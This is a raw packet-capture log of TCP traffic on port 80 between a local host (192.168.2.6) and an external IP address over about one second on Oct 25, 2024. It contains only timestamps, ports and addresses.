Oct 25, 2024 01:27:23.814630985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.814656019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.814680099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.814690113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.814698935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.814723969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.814728975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.814758062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.814785004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.814802885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.814831972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.814836979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.814872026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.814872026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.814893007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.814905882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.814913988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.814941883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.814949989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.814975023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.814982891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815009117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815017939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815042973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815078020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815093040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815110922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815119028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815145969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815159082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815179110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815188885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815212965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815218925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815247059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815253019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815280914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815284967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815335989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815336943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815376043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815382004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815408945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815416098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815443993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815448046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815478086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815510035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815520048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815543890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815551996 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815577984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815584898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815613031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815619946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815646887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815670967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815680027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815691948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815716028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815726042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815752029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815790892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815793991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815819025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815826893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815839052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815860987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815871954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815911055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815922022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815944910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.815958023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.815979004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.816013098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.816021919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.816046000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.816080093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.816080093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.816080093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.816113949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.816118002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.816148043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.816154003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.816183090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.816188097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.816216946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.816251993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:23.816257954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.816308975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.932149887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:23.937561989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.209386110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.209487915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.209522009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.209574938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.209615946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.209625006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.209678888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.209693909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.209693909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.209721088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.209779978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.209831953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.209865093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.209865093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.209899902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.209934950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.209952116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210001945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210031986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.210052967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210087061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210123062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.210135937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210170031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210200071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.210201979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210253954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210283041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210287094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.210334063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210366964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.210386992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210436106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210469007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210474968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.210519075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210555077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.210555077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210588932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210623026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210634947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.210659027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210690022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.210694075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210726023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210767031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.210777998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210817099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210830927 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.210846901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210876942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.210896969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210949898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210983038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.210983992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211034060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211126089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211131096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211179018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211211920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211213112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211251020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211265087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211309910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211345911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211360931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211407900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211440086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211441994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211498976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211528063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211548090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211550951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211601973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211637020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211652994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211688042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211721897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211723089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211747885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211776018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211783886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211810112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211844921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211879015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211880922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211915970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211932898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.211963892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211997986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.211998940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212047100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212086916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212097883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212137938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212152958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212203026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212238073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212251902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212286949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212318897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212335110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212371111 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212373972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212424994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212460041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212469101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212511063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212543011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212548018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212594032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212625980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212627888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212666988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212682009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212721109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212759972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212776899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212812901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212827921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212861061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212862968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212898970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212898970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212933064 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212948084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.212951899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.212986946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213020086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213052034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213069916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213100910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213102102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213140011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213155031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213202000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213233948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213251114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213284969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213299036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213301897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213351965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213386059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213437080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213469982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213469982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213505030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213537931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213541985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213578939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213593960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213608980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213643074 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213644981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213680029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213712931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213717937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213749886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213782072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213783979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213815928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213815928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213850975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213886976 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213887930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213922024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213958979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.213959932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.213993073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214024067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214025021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214056015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214085102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214087963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214123011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214155912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214163065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214190006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214221001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214221954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214257956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214289904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214292049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214324951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214360952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214361906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214396000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214427948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214428902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214462042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214463949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214499950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214513063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214534044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214565992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214566946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214598894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214632988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214637041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214663982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214667082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214695930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214730978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214744091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214770079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214797974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214802027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214831114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214859962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214864969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214894056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214927912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214927912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214955091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214965105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.214997053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.214998007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215030909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215064049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215068102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215099096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215131998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215136051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215159893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215167046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215200901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215233088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215234041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215267897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215276957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215301991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215342999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215353966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215388060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215388060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215421915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215456963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215457916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215491056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215523005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215524912 CEST	80	49711	185.215.113.37	192.168.2.6
